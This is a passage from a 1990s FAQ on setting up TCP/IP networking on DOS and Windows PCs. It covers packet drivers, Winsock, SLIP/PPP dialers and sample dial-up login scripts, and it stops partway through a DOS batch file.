A-1. What do I need to run TCP/IP on the PC?
A-2. What are packet drivers? Where do I get them?
A-3. What is Winsock? Where can I get it?
A-4. What is Trumpet Winsock? How do I get it to dial?
A-5. What publicly distributable TCP/IP applications are there
for DOS? Windows?
A-6. What software is available for doing SLIP? Compressed SLIP?
PPP? For DOS? For Windows?
A-7. What about the software included with various books?
A-8. What diagnostic utilities are available to find problems with
my connection? Where can I get them?
A-9. Is there a CD-ROM with the software included in this FAQ?
A-10. Does Windows NT support SLIP? PPP?
A-11. Where can I get Microsoft TCP/IP-32?
A-12. How do I get my BBS to run over TCP/IP?
A-13. Are there graphical TCP/IP servers out there?
A-14. What methods of dynamic address assignment are available?
A-15. How can I set up PPP server on a UNIX host?
A-16. What is WinSNMP? Why doesn't my TCP/IP stack support SNMP?
A-17. What proxy servers are available for use with Web browsers?
A-18. Why doesn't my Web browser support direct WAIS queries?
A-19. What is SOCKS? What TCP/IP stacks support it?
A-20. How can I handle authentication on my NNTP server?
A-21. What is SLIPKnot?
A-22. What is TWinSock?
A-23. How do I get info on the ODI specification?
A-24. What is WinISDN?

B. Questions about drivers

B-1. What do I need to know before setting up SLIP or PPP?
B-2. How do I configure SLIPDISK?
B-3. How do I install packet drivers for Windows applications?
B-4. When do I need to install WINPKT?
B-5. How to do I run both WinQVT and ODI?
B-6. Is it possible to use BOOTP over SLIP?
B-7. How do SLIP drivers work?
B-8. When do I need to install PKTMUX?
B-9. Can NDIS be used underneath multiple protocol stacks of the same type?
B-10. Is there an NDIS over packet driver shim?
B-11. How do I run NetBIOS over TCP/IP?
B-12. How do I run NFS and another TCP/IP application?
B-13. How do I run Trumpet Winsock along with KA9Q or NFS?
B-14. I am trying to run Netware and TCP/IP at the same time, using
PDETHER. How do I do this?
B-15. Sample Stick Diagrams
B-16. Strange and wonderful configuration files submitted by readers

C. KA9Q Questions [part 2]

C-1. What version of KA9Q should I use and where do I get it?
C-2. What do I need to run KA9Q? Why won't it do VT-100 emulation?
C-3. How do I configure KA9Q as a SLIP dialup connection?
C-4. How do I configure KA9Q as a router?
C-5. How do I get KA9Q to support BOOTP?
C-6. How do I get KA9Q to support PPP?
C-7. How do I get KA9Q to support SLIP dialin?
C-8. Can I use KA9Q as a packet filter?
C-9. Can I use KA9Q as a BOOTP server?
C-10. Where can I get a manual for KA9Q?
C-11. Is there a way to prevent KA9Q from listening to ICMP redirect
packets? RIP packets?
C-12. Will KA9Q route sourcF-routed packets? If so, is there any way to
turn off this (rather undesirable) behavior?
C-13. I'm trying to use the TextWin version of KA9Q as a SLIP router
and it isn't working. What's wrong?

D. PCROUTE and PCBRIDGE

D-1. How do I get PCROUTE set up?
D-2. I want to use MS TCP/IP-32 to contact a host over a serial link,
but have no SLIP or PPP driver. What do I do?
D-3. How do I get PCBRIDGE to use a SLIP or PPP driver?
D-4. Can I get PCROUTE to switch off RIP?

E. Windows NT

E-1. Does Windows NT support OSPF or RIP? What can I do to get around this?
E-2. Why shouldn't I try to install Trumpet Winsock on NT?
E-3. Where can I find out more about SMB? What ports does it use?

F. Hints for particular packages

F-1. How do I get DesQView X to run over the network?
F-2. Why is NFS so slow compared with FTP?
F-3. Where can I get information on running NetWare and TCP/IP
concurrently?
F-4. What NetWare TCP/IP NLMs are out there and how do I get them
to work?
F-5. How do I get a telecom package supporting Int 14h redirection
to work?
F-6. I am having trouble running Netmanage Chameleon apps along with
WFW TCP/IP-32. What do I do?
F-7. How do I get Windows For Workgroups to work alongside NetWare?
F-9. How come package X doesn't support the AppleTalk packet driver?
F-10. NCSA Telnet doesn't reassemble fragments. What should I do?
F-11. I am trying to configure a Macintosh to set its parameters automatically
on bootup, but it isn't working. What's wrong?
F-12. I've heard that DHCP is a potential security risk. Is this true?
F-13. What is TIA?
F-14. What PC TCP/IP implementations support recent advances?
F-15. What network adapters have on-board SNMP agents?
F-16. What is the easiest way to get WFW and Novell Netware to coexist?
F-17. I'm trying to use packet driver software alongside WFW v3.11 and
am having a hell of a time. What should I do?
F-18. What proxy software is available for those concerned about security?
F-19. How do I mount ftp.microsoft.com on the desktop using file manager?
F-20. I am having trouble connecting to a Windows NT PPP server. What should
I do?
F-21. When should I use COMT?
F-22. What version of POP should I be running alongside Eudora?
F-23. How do I use Netscape to read local files?
F-24. I want to run an NNTP server under OS/2. Does such an animal exist?

G. Information for developers

G-1. What publicly distributable TCP/IP stacks are there that I can
use to develop my own applications?
G-2. Where can I get a copy of the Windows Sockets FAQ?
G-3. How do I do multicasting using Windows Sockets?




--------------------- FAQ Begins Here ---------------------------

A. Components of a TCP/IP solution

A-1. What do I need to run TCP/IP on the PC?

To run TCP/IP on the PC you will need:

* Appropriate hardware, such as:

Ethernet card
Token Ring card
AppleTalk card
Serial Port


Any other network card with a packet driver or NDIS or ODI driver,
(such as Arcnet), will also work. If your card supports NetBIOS,
this is also acceptable, since you can run a packet-driver-over-
NetBIOS shim.

* Drivers for your hardware.

Your card probably came with one or more of the following drivers:

Network Device Interface Specification (NDIS) drivers
[spec. by 3Com and Microsoft, used by LAN Manager, Windows
for Workgroups, and Windows NT. LAN Manager uses NDIS 2.0,
Windows NT uses 3.0, and WFW supports 2.0 and will support
3.0]
ODI Drivers [spec. by Novell, abbreviation for Open DataLink
Interface]
Packet Drivers [spec. by FTP Software]

TCP/IP stacks have been written for each of these driver interfaces,
so the important thing is whether your chosen stack is compatible
with the interface available for your card.

A shim is software that runs on top of one set of drivers to
provide an interface equivalent to another set. This is useful,
for example,if you are looking to run software requiring an
NDIS driver(such as Chameleon NFS) alongside software
requiring a packet driver interface (such as KA9Q, Gopher, Popmail,
NCSA Telnet, etc.), or run software intended for, say, a packet
driver over an NDIS driver instead.

Shims are available to run packet drivers over NetBIOS, ODI,
or NDIS, in order to run software expecting a packet driver over
NDIS, ODI, or NetBIOS instead. There are also shims to run NDIS
over ODI (ODINSUP), and ODI over Packet Drivers (PDETHER).


* A TCP/IP protocol stack.

The TCP/IP protocol stack runs on top of the driver software, and
uses it to access your hardware. If you are running a TCP/IP
protocol stack that requires drivers that aren't available for your
hardware, you're in trouble. Check into this before purchasing!

For DOS, in many cases a TCP/IP stack is built into the applications.
This is true for a great many of the packet driver applications, including
KA9Q, and the WATTCP applications.


* If running Windows applications that require it, WINSOCK.DLL.


Windows Sockets is a sockets interface which was created as a
Windows DLL. Each TCP/IP implementation requires its own version
of Windows Sockets. Trumpet Winsock and VxDTCP are the only
two publicly distributable Windows Sockets implementations.
WINSOCK.DLL provides 16-bit support; WSOCK32.DLL provides 32-bit support.


* Applications software.

Although most of us in this newsgroup seem to spend our time
looking for working combinations of applications,WINSOCK.DLLs,
Windows Sockets compliant TCP/IP implementations, shims,
drivers, and hardware, ultimately your goal is eventually to
run an application successfully. If and when that happens,
please send me a note, so I can add it to this FAQ.


A-2. What are packet drivers? Where do I get them?

Packet drivers provide a software interface that is independent of the
interface card you are using, but NOT independent of the particular
network technology. As Frances K. Selkirk (mailto:fks@vaxeline.ftp.com) notes:

"That's one reason they're easier to write than ODI drivers! If you
write a class three (802.5 Token Ring) driver, you will need to use
software that expects a class three driver, not software that expects
a class 1 (DIX ethernet) driver. There are a few drivers that fake class 1.

I believe only class 1 and class 6 (SLIP) drivers are supported by
freeware packages."

The chances are fair that your Ethernet card came with a packet
driver, and if so, you should try that first. If not, then you
can try one of the drivers from the Crynwr collection (formerly
called the Clarkson Drivers). See the Resource listing for info.

For 3COM drivers, try ftp://ftp.3com.com/pub For technical information,
try mailto:info@3com.com. For marketing and product info, try
mailto:leads@hq.3mail.3com.com.The packet driver specification is available
from ftp://vax.ftp.com/packet-d.ascii

The following vendors have packet drivers with source available for
their pocket lan adaptors:

D-Link - +1-714-455-1688
Solectek - +1-619-450-1220
Accton - +1-408-452-8900
Compulan - +1-408-922-6888
(soon Kodiak's Noteport - +1-408-441-6900)

You can obtain a complete library of packet drivers from many of the
Simtel20 mirror sites, including:
ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11.zip,
ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11c.zip.


A-3. What is Windows Sockets? Where can I get it?

The idea for Windows Sockets was born at Fall Interop '91, during a
Birds of a Feather session.

From the Windows Sockets specification:
[courtesy of Mark Towfiq, mailto:towfiq@Microdyne.COM]:


The Windows Sockets Specification is intended to provide a
single API to which application developers can program and
multiple network software vendors can conform. Furthermore, in
the context of a particular version of Microsoft Windows, it
defines a binary interface (ABI) such that an application
written to the Windows Sockets API can work with a conformant
protocol implementation from any network software vendor.

Windows Sockets will be supported by Windows, Windows for Workgroups,
Win32s, and Windows NT. It will also support protocols other than TCP/IP.
Under Windows NT, Microsoft will provides Windows Sockets support over
TCP/IP and IPX/SPX. DEC will be implementing DECNet. Windows NT will
include mechanisms for multiple protocol support in Windows Sockets,
both 32-bit and 16-bit.

Mark Towfiq writes:

"Files and information related to the Windows Sockets API are
available via ftp://sunsite.unc.edu/pub/micro/pc-s...ndows/winsock,
which is a mirror of ftp://microdyne.com/pub/winsock (SunSite has a much
faster connection to the Internet, so you are advised to use
that).

If you do not have FTP access to the Internet, send a message
with the word "help" in the body to either
mailto:ftpmail@SunSite.UNC.Edu, or mailto:ftpmail@DECWRL.DEC.Com, to obtain
information about the FTP to Mail service there."

Alternative sources for the Windows Sockets specification include
ftp://ftp.microsoft.com/ (an FTP server running NT), as well as the
Microsoft forum on CompuServe (go msl).

Currently NetManage (NEWT), Distinct, Spry, FTP and Frontier are shipping
Winsock TCP/IP stacks, as is Microsoft (Windows NT and TCP/IP for
WFW), Beame & Whiteside Software (v1.1 compliant), and Sun PC-NFS.
If you are looking for a Winsock.dll, you should first contact your TCP/IP
stack vendor. Novell has one in beta for their Lan Workplace for DOS.

A-4 What is Trumpet Winsock? How can I get it to dial?

Peter Tattam has released a shareware Windows Sockets compliant
TCP/IP stack. You can obtain it via
ftp://ftp.utas.edu.au/pc/trumpet/winsock/winsock.zip,
ftp://ftp.utas.edu.au/pc/trumpet/winsock/winapps.zip
ftp://biochemistry.bioc.cwru.edu/pub...k/winsock.zip.
ftp://biochemistry.bioc.cwru.edu/pub...k/winapps.zip.

The first thing to do after you download WINSOCK.ZIP is to create
a directory for Trumpet Winsock, such as C:/TRUMPWSK, and put it
in your DOS PATH statement.

Trumpet Winsock operates over packet drivers, or over a serial port
using its own built-in SLIP/CSLIP and PPP. If you are using a network
adapter, this means that you will have to locate a packet driver
for your adapter, and load it. Trumpet Winsock also comes with
WINPKT, and this is loaded next, via the command
WINPKT.COM 0x60 [or whatever the software interrupt for your packet driver]

You will then enter Windows, and create a group in the Program Manager
for all the files that come with Trumpet Winsock. The stack itself is loaded
by executing TCPMAN. Applications that come with it include WinCHAT,
a chatting program; PINGW, a ping utility; FTPW for FTP, WINARCH for Archie.

When you first execute TCPMAN, you will be asked to fill out the setup
information for the stack. Select whether you will be using a network
adapter or SLIP; you cannot use both.

Since Trumpet Winsock now supports PPP, you do not need to load an Ethernet
simulation drivers such as EtherPPP.

If for some reason you don't like Trumpet Winsock's scripting language,
you can use any other comm program that doesn't drop carrier on exit, or
the DIALER program, available via:

ftp://ftp.cica.indiana.edu/pub/pc/wi...l/dialexe.zip.

You can also use EtherPPP (ftp://merit.edu/pub/ppp/pc/etherppp.zip)
instead of Trumpet Winsock's built-in PPP. This is an Ethernet simulation driver,
so you will configure Trumpet Winsock as though it were running over an Ethernet
Packet driver, i.e. by loading WINPKT 0x60, and setting the packet driver
vector in TCPMAN to 0x60.

EtherPPP comes with its own dialer, so you will need to create a dialing script.
If your TCP/IP address will be changing, you will also need to write a little
batch script to capture the assigned IP address, and insert it into Trumpet's
initialization file. EtherPPP takes up too much RAM (121K), but otherwise
works fine.

As for Trumpet Winsock's built-in scripting language, the default dialout
script is LOGIN.CMD. A sample LOGIN.CMD file from Geoff Cox
(mailto:geoff@satro.demon.co.uk):

#
# initialize modem
#
output atzm0\13
input 10 OK
#
# set modem to indicate DCD
#
output at&d2&c1\13
input 10 OK\n
#
# send phone number
#
output atdt0813434848\r
#
# my other number
#
#output atdt241644\13
#
# now we are connected.
#
#input 30 CONNECT
#
# wait till it's safe to send because some modem's hang up
# if you transmit during the connection phase
#
#wait 30 dcd
#
# now prod the terminal server
#
#output \13
#
# wait for the username prompt
#
input 30 ogin:
username Enter your username
output \satro\r
#
# and the password
#
input 30 assword:
password Enter your password
output \my password\r
#
# we are now logged in
#
input 30 otocol:
#
# see who on for informational reasons.
#
output SLIP\r
input 30 HELLO


A-5. What publicly distributable TCP/IP applications are there for
DOS? Windows?

Right now there are a wealth of publicly distributable TCP/IP
applications running under DOS. Windows also has a wealth of
programs available, including implementations of Gopher, Mail
(POP3/SMTP), FSP, WWW, Telnet, FTP, IRC, and WAIS.

See the Resource listings for information.


A-6. What software is available for doing SLIP? Compressed SLIP?
PPP? For DOS? For Windows? For OS/2?

Trumpet Winsock now supports both PPP as well as SLIP/CSLIP.

For SLIP or CSLIP use with DOS, I recommend using SLIPPER or CSLIPPER.
These are packet drivers that can be used along with a dialer. For PPP,
I recommend the EtherPPP packet driver described above.

There is a special version of NCSA Telnet for PPP, available from
ftp://merit.edu/pub/ppp/pc.

KA9Q supports SLIP/CSLIP as well as PPP, but unfortunately can not be used as a
TCP/IP protocol stack to run other apps.

I have heard good things about IBM's TCP/IP for OS/2, but haven't
used it msyelf. Please see the FAQ from news:comp.os.os2.networking for details.

IBM, FTP Software, Beame & Whiteside, Frontier, SPRY and Netmanage also
offer SLIP support in their products. See the resource listings for details.


A-7. What about the software included with various books?

The software included with various books (including mine) is usually
Chameleon Sampler from NetManage. Sampler supports SLIP/CSLIP/PPP, but
not connection over a network, and includes software for FTP, Telnet,
TN3270, and Mail. The stack included with Sampler (NEWT) is Winsock
compatible, so you can run any Windows Sockets-compatible application
over it. Installation is quite a bit simpler compared with going the
Trumpet Winsock route, so this is probably the best way to go assuming
that you are a dialup IP user.

However, be aware that Chameleon Sampler can cause problems if you
attempt to install it on a system that already has a version of TCP/IP,
such as one running Microsoft WFW TCP/IP-32. The installer does not
have an "applications only" option, which is unfortunate.

Lately, some books are bundling Spyglass Mosaic. This is a good,
solid Mosaic implementation, but not as featureful or wizzy as
second generation browsers such as Netscape or BookLink.

A-8. What diagnostic utilities are available to find problems with
my connection? Where can I get them?

Frequently used diagnostic utilities include ifconfig (checks the
configuration of the network interfaces), ping (tests IP layer
connectivity), traceroute (traces the route that a packet takes
between two sites), netstat (checks the routing table), tcpdump
(protocol analyzer), arp (looks at the IP to Ethernet address
mappings). Microsoft TCP/IP-32 includes versions of all of these
except for tcpdump.

KA9Q includes ifconfig, ping and traceroute functions. In KA9Q hop
check is the equivalent of traceroute. The Trumpet TCP/IP stack also
has a hopchk2 command that is a traceroute equivalent.

Etherload is very useful for network profiling, as well as packet
analysis. Although it can't understand RARP or DHCP, it does
handle multiple protocols (AppleTalk, IP, IPX/SPX, NetBEUI),
lots of IP protocols (ARP, BOOTP, DNS, RIP, TFTP, TCP and UDP
statistics, Telnet, FTP). It even can handle NetBIOS traffic,
which UNIX tcpdump can't. One weakness is that it doesn't do
RARP or DHCP.

The other major diagnostic utility I use is tcpdump, running
under UNIX. However, this is a TCP/IP only diagnostic tool,
can't be used with Netware, and doesn't know diddly about
NetBIOS.

While Etherdump can be used for packet catching, I wish it would
do more of the work for you, along the lines of TCPDUMP. Life's too
short to spend looking at hex packet traces, so I use EtherLoad
or tcpdump instead.

Trumpet Winsock comes with Windows implementations of Ping and Traceroute.

A-9. Is there a CD-ROM with the software included in this FAQ?

The Packet Driver, WinSock & TCP/IP CD-ROM is available from
CDPublishing for $29.95. This includes the packet drivers of course,
but also lots of other DOS and Windows TCP/IP stuff, including
Windows Sockets applications. It also includes the text of all
the RFCs. This is now somewhat out of date (it was cut in
December 1993), but is otherwise highly recommended.

CDPublishing, (604)874-1430, (800)333-7565, fax: (604)874-1431,
mailto:info@CDPublishing.com, ftp://ftp.CDPublishing.com/,
Gopher site: gopher://gopher.CDPublishing.com/, WWW: http://www.CDPublishing.com/

A-10. Does Windows NT support SLIP? PPP?

The Windows NT 3.5 supports PPP (client and server) and SLIP (client),
both including support for Van Jacobson header compression. It also
supports DHCP, and Windows Internet Name Service (WINS).

A-11. Where can I get Microsoft TCP/IP-32?

Microsoft has now released a 32-bit TCP/IP stack for
Windows for Workgroups v3.11. It's easy to set up,
fast, and has worked fine for me. It supports a host of very
nice new features, including DHCP automatic configuration, WINS
name resolution, and Windows Sockets v1.1. In addition it comes
with Telnet and FTP applications. However, please note that
it does not offer SLIP or PPP support.
The final release is now available via:
ftp://ftp.microsoft.com/peropsys/windows/Public/tcpip/


A-12. How do I get my BBS to run over TCP/IP?

First off, let's clarify what we mean by "over TCP/IP." This can mean
everything from "accessible via Telnet" to being a full Internet
citizen, supporting Gopher, HTML, etc.

NovaLink Professional is today the only BBS software that includes
support for HTML in mail and news. For info, contact Res Nova
Software. Softarc's FirstClass package will soon be availble on Windows NT,
and has also promised HTML support.

eSoft's IPAD is a full fledged SMTP, NNTP, DNS, FTP, Telnet, and SLIP/PPP
server, that can be hooked up to an existing TBBS system to provide
full Internet support. It comes with hardware and costs in the neighborhood
of $4K.

The Major BBS now runs under UNIX, and thus offers Internet support;
the DOS version now has an Internet gateway that can handle telnet,
mail, and news, among other things.

Support for a variety of BBSes is available from Murkworks. Their
BBSNet product provides a Telnet interface that looks like a FOSSIL driver.
The first version runs partly as an NLM; some of the code resides on the server.
For info, contact

BBSnet,MurkWorks, Inc., P.O. Box 631,Potsdam, NY 13676,
+1 315 265 4717, mailto:info@MurkWorks.com

For further information on running BBSes on the Internet, see The
Online User's Encyclopedia, Addison-Wesley.

A-13. Are there graphical servers out there?

Yes! For Windows there is a graphical SMTP daemon which is not very
functional (it can't do as much as KA9Q); several Web servers, including
a Windows version of NCSA's HTTP, and SerWeb.

For Windows NT, The European Microsoft Windows Academic Consortium (EMWAC) has
released Windows NT servers for Gopher, WAIS, and WWW. These servers
are easy to install, and fast, and offer the full complement of capabilities,
including support for forms, access to WAIS indices from within HTTPS,
installation as a Windows NT service, etc. Highly recommended.

See the resource section for details.

A-14. What methods of address assignment are available?

Methods of address assignment include client/server protocols
(RARP, BOOTP, DHCP), as well as script-based methods
(terminal server indicates, "your address is 192.187.147.2"). PPP
also supports assignment of addresses from the server.

As part 2 of this FAQ discusses, there are RARP and BOOTP clients
and servers available for DOS. Typically the clients work by stashing
the IP address in a DOS environmental variable. It is then your responsibility
to modify the appropriate config files to reflect this
address. This can be done using a DOS batch script and a utility such as
DOS awk. This same approach can be used to modify config files when using
EtherPPP; this does not place the IP address into a variable, but the output
of EtherPPP can be piped to a file and the IP address picked off and inserted
in the appropriate locations. If this sounds complicated, it is; be warned.

Trumpet Winsock supports script-based assignment of addresses. Microsoft TCP/IP
supports a DHCP client and NT Server supports a DHCP server.
There is also a forthcoming DHCP server for Sun.

However, be aware that these products are not always RFC compliant. For example,
RFC covers interoperability between BOOTP and DHCP. This
RFC states states how a DHCP client can use a BOOTP server to determine its
parameters, and how a BOOTP client can interoperate with a DHCP server.
However, I am not aware of a DHCP client or server that implements these
recommendations.

A-15. How can I set up PPP server on a UNIX host?

This is not the appropriate place to address that question, but lots
of info on this is available in the news:comp.protocols.ppp FAQ.

A-16. What is WinSNMP? Why doesn't my TCP/IP stack support SNMP?

WinSNMP is an API which provides a standard interface to to the
Simple Network Management Protocol (SNMP) for network
management applications running under Windows. Applications written to
WinSNMP can run on any WinSNMP-compatible implementation.

Vendors supporting WinSNMP include FTP Software, which supports it
in both OnNet 1.1, and PC/TCP 3.0. SNMP agents are also available
in Windows NT, Chameleon, and other packages.

There are also freeware WinSNMP-compliant applications. See the
Resource Section for details.

However, if your chosen TCP/IP stack does not support an SNMP agent,
you are probably out of luck. This is because SNMP support cannot just
be tacked on; the stack must keep the statistics, and work closely
with the SNMP agent in order to allow these variables to be read
in response to SNMP queries. Without detailed knowledge of a particular
stack's operation, it is virtually impossible to write an SNMP agent
for it.

A-17. What proxy servers are available for use with Web browsers?

Mosaic and WinWeb now both support proxies via the CERN httpd, which
supports http, ftp, gopher, and wais proxies, as well as caching.
Netscape supports the SOCKS proxy.

A-18. Why doesn't my Web browser support direct WAIS queries?

If you've been trying out WinWeb, Netscape, Booklink, Windows Mosaic,
or Cello, you've noticed that trying to resolve a WAIS URL results
in an error. You may have checked your URL syntax over and over,
trying to figure out what you did wrong.

Guess what? The only Web browser that supports direct WAIS queries
is XMosaic v2.4 or later. On that browser, a WAIS query will generate
a request to port 210 on the destination WAIS site. (I know, because
I've run TCPDUMP to verify this).

On other browsers, you can reach WAIS sites that have set up a
Gopher or Web server to handle queries; however, you cannot
reach them directly.

How did this come about? Windows Mosaic v1.0 contained
support for a WAIS gateway operating at NCSA. This gateway took
your incoming request, and forwarded it to the destination WAIS site,
and when the response came back, forwarded the answer to you. However,
the NCSA WAIS gateway got bogged down, so support for WAIS gatewaying
was removed in v2.0. However, since they didn't put direct WAIS
support in, an error was generated.

In my opinion, this was (and is) handled lamely. Either put up a
reasonable error message explaining that WAIS is not supported,
or put in direct support.

A-19. What is SOCKS? What TCP/IP stacks and applications support it?

SOCKS is a type of proxy server that listens on port 1080. Instead
of sending HTTP requests to port 80, gopher to port 70, etc. a
SOCKS-compliant application will instead route them to port 1080 on the
SOCKS server. The SOCKS server then examines the requests and decides
if they should be allowed or denied.

To my knowledge, Trumpet Winsock v2.0 is the only TCP/IP stack with
built-in SOCKS support. It apparently has problems with rbind, which
can get gotten around by using FTP in PASV mode.

Netscape also supports SOCKS.

A-20. How can I handle authentication on my NNTP server?

A good way to handle this is to use the AUTHINFO extensions to NNTP
which are supported by the INN server, as well as clients supporting
AUTHINFO, such as WinVN, the Trumpet newsreader (DOS and Windows versions),
and Internews on the Macintosh. With AUTHINFO, you can automatically
allow hosts within a known subdomain to post without authentication,
forcing users outside this domain to input their userID and password,
which is the same as that needed to access a POP server running on the
same machine. With AUTHINFO, the userID is automatically placed in the posting.

A-21. What is SlipKnot?

SlipKnot (TM) is a shareware Web browser for MS Windows that works with ordinary UNIX
shell accounts, without requiring a SLIP or PPP connection. SlipKnot provides
a UNIX shell terminal window so that you can still use your ordinary UNIX
commands, or you can switch into Web browser mode. With SlipKnot, up to
five documents can be visible at a time; previous requests are cached. Since
SlipKnot supports threading, you can look at an existing document while a
new one is being retrieved. SlipKnot supports saving or printing of documents,
including embedded images.

SlipKnot requires a mouse, Windows 3.1 or WFW with 2 MB disk space, 4 MB of memory,
with 8 MB recommended. On the UNIX side, you will need Xmodem or Ymodem support.

See the resource section for details.

A-22. What is TwinSock?

TwinSock is a freeware Winsock proxy client implementation. When using
TwinSock, you need not assign an official IP address. When a Windows
application makes a Windows Sockets call, the TwinSock client passes
the request to a version of TwinSock running on the firewall host. The
firewall host will then permit or deny the request, and will pass the response
to through to the requesting client.

For more information on TwinSock, check out news:alt.dcomp.slip-emulators,
news:comp.os.ms-windows.networking.tcp-ip, news:comp.os.ms-windows.apps.comm

A-23. How do I get info on the ODI specification?

Try:
ftp://netlab2.usu.edu/odi

A-24. What is WinISDN?

Ed Klingman (mailto:klingman@interramp.com) writes:

The WinISDN API is an open standard. It was created by
NetManage, ISDN*tek and Performance Systems. Inc (PSI)
to support PPP packets to the Internet, peer-to-peer
connectivity, and Voice applications over ISDN. It is NOT
a proprietary standard, no royalties are associated with it.

WinISDN is packet-based and (for simple connectivity) requires
NO knowledge of ISDN protocols. This is probably its main
advantage over CAPI and TAPI, both of which tend to
require ISDN protocol knowledge to do the simplest connection.
Of course, ISDN protocol support is there for advanced applications.

WinISDN provides very simple connections over ISDN networks and
supports HDLC PPP packets on B-channels, Voice, and streaming data
transfer as well as X.25 packets on the D-channel. It runs on
Windows 3.1 systems and has run under Windows 95 beta. It works
well under IBM's Win/OS2 software.

WinISDN is supported by the following hardware providers:

ISDN*tek - available
IBM - announced
3COM - not officially announced
AccessWorks - not officially announced
Motorola - not officially announced
Teles - not officially announced
others - working on it

WinISDN is supported by the following TCP-IP software vendors:

NetManage - available
Spry - Q2 - not officially announced
Wollongong - Q2 - not officially announced
FTP - Q3 - not officially announced
Frontier - ??

Internet Access using WinISDN is available in:

US - all ISDN switches: AT&T 5ESS, DMS-100, Siemens
Japan - NTT INS-64
Israel - Bezeq ISDN
Europe - Q2 or Q3, 1995

The WinISDN API can be downloaded (as a Word 2.0 doc) from:
ftp://ftp.netmanage.com/pub/win_stan...n/winisdn9.doc

The market did not "agree" to this standard. It became a standard
by providing the first PC-card ISDN acess to the Internet in the US.
Its simplicity, robustness, and open-ness, caused it to be adopted
by the above players, among others. It was designed to allow
mapping from CAPI and TAPI into WinISDN.

ISDN*tek will be announcing a Visual Basic WinISDN Developers kit
at the Software Developers Conference in Feb and VBITs in March.


B. Questions about drivers

B-1. What do I need to know before setting up SLIP or PPP?

Before setting up your SLIP or PPP connection, you should
have available the following information:

* The domain name and TCP/IP address of your host.
* Whether your TCP/IP address will be assigned statically,
dynamically, or from the server.
* If from the server, whether you will be using RARP, BOOTP or DHCP.
* The domain name and TCP/IP address of your machine (if you are not
configuring the address dynamically or via BOOTP)
* The domain name and TCP/IP address of the primary and secondary
Domain Name Server.
* The subnet mask.
* The domain name and TCP/IP address of an NNTP server.
* Whether your host supports POP, and if so, what version.
* Whether the host supports compressed or uncompressed SLIP, or PPP.
* The size of the Maximum Receivable Unit (MRU).


Do not attempt to connect to your host before you have this
information, since it will just waste your time and money, and may
cause problems for the network. In particular, do not attempt to
initiate a connection using a made up TCP/IP address! It is possible
that your madF-up address may conflict with an existing address.

This is probably the quickest way to get people very angry at you.

Static addressing means that your TCP/IP address will always
be the same. This makes it easy to configure your setup files.
Dynamic addressing means that the host will send you a message
containing your TCP/IP address when you log on. This can be
problematic if your software doesn't support grabbing the address
and inserting it into the setup files. If not, then you may have
to edit your setup files every time you log on. Yuck!

Chameleon includes a version of SLIP which can handle dynamic
addressing. The most recent version of Novell's Lan Workplace for
DOS does as well.

You can also retrieve your address using RARP, BOOTP or DHCP. RARP
is only available to those on the same LAN as the RARP server, since
it uses broadcasting. BOOTP clients can access BOOTP servers on other
LANs via BOOTP relay. DHCP is a BOOTP extension, which allows
complete configuration of a client from info stored on a DHCP server, and in
addition supports new concepts such as "address leases". Since
DHCP frames are very similar to BOOTP frames, devices supporting BOOTP relay
will also support DHCP relay.

Of course, for DHCP or BOOTP to work, you will need to set up a DHCP
or BOOTP server. DHCP servers are available for UNIX, and Windows NT;
BOOTP servers are available for UNIX (BOOTPD, from CMU).

PPP also supports server assignment of TCP/IP addresses.


B-2. How do I configure SLIPDIAL?


From Ashok Aiyar, mailto:ashok@biochemistry.bioc.cwru.edu:

PHONE Script Files:

PHONE comes with several scripts (for various modems) and for the
University of Minnesota Terminal server built into it. The command
PHONE WRITE writes these scripts to an ASCII file called PHONE.CMD,
which can be edited to your needs (modem and slip server)

The documentation that accompanies PHONE, provides good instructions on
writing script files to get PHONE to dial SLIP servers other than
the University of Minnesota server. For example here is a script
that I use to dial a CISCO server at the University that I attend.

Background: To start a SLIP connection, I dial our terminal server,
and login with a username and password. After doing so, I start a SLIP
session with the following command "slip usernamF-slip.dialin.cwru.edu",
followed by my password -- again.

Here then is the relevant portion of the PHONE.CMD script file -
#
# CWRU-TS2 SLIP login script by Ashok Aiyar 3/26/93
# Last revised 3/28/93
Procedure Host.CWRU.Login
TimeOut 60 'CWRU-TS2 terminal server is not responding'
Message "CWRU-TS2 SLIP login script -- Version 1.1"
Message 'Waiting for SLIP server to respond'
Quiet ON
Expect 'Verification'
Message 'Request for User Verification Received from CWRU-TS2'
Message 'Sending your user name and password'
Quiet OFF
Expect 'Username:'
Send '%u&lt;'
Expect 'Password:'
Private
Send '%p&lt;'
Reject 'Access denied' 'Your user name or password was not accepted'
TimeOut 30 'SLIP server did not respond to your validation request'
Expect 'CWRU-TS2&gt;'
Send 'SLIP&lt;'
TimeOut 10 'SLIP server did not respond to SLIP command'
Expect 'IP hostname or address:'
Send '%u-slip.dialin.cwru.edu&lt;'
TimeOut 10 'SLIP server did not respond to hostname'
Reject 'Bad IP address' 'Incorrect Hostname'
Expect 'Password:'
Send '%p&lt;'
Reject 'Access denied' 'Password not accepted.'
TimeOut 10
Expect 'Header Compression will match your system'
Message 'Login to CWRU SLIP server successful'
Wait 1.0
EndProcedure Host.CWRU.Login
#
#
Procedure Host.CWRU.LogOut
# Nothing special needs to be done to logout
EndProcedure Host.CWRU.LogOut
#
# End of Script file
#
----------------------------------------------------------------------
How to use packet drivers other than UMSLIP with PHONE?

The quick answer -- there is no "clean" way. Below is a batch file
hack that I wrote to use PHONE with other packet drivers. In this
example, the packet driver is Peter Tattam's CSLIPPER. To use a
batch file like this, you must know the parameters with which you
plan to use the packet driver -- i.e interrupt vector, baud rate,
port address, and IRQ. This batch file requires UMSLIP.COM,
CSLIPPER.EXE, and TERMIN.COM to be in the same directory
or in your path ...

All that the BATCH file does is to let you dial the SLIP connection
using PHONE, load the appropriate packet driver, hangup the
connection, and unload the driver when you are done ...

-- being CWRUSLIP.BAT --
@echo off
rem this batch file is an ugly hack of U. of Minn. "SLIP.BAT"
rem awaiting a version of C/SLIPPER that can directly interact
rem with PHONE
rem CWRUSLIP.BAT file is used with PHONE.EXE to start a SLIP
rem connection on CWRU-TS2
rem last modified 3/28/93 -- Ashok Aiyar

@echo off
cls
goto start

:start
if %1. == ?. goto help
if %1. == help. goto help
if %1. == setup. goto setup
if %1. == dial. goto forceD
if %1. == hangup. goto forceH
if %1. == quit. goto forceH
if %1. == HELP. goto help
if %1. == SETUP. goto setup
if %1. == DIAL. goto forceD
if %1. == QUIT. goto forceH
goto bogus
goto unload

:forceH
termin 0x60
umslip &gt;nul
phone force hangup
goto unload

:slipper
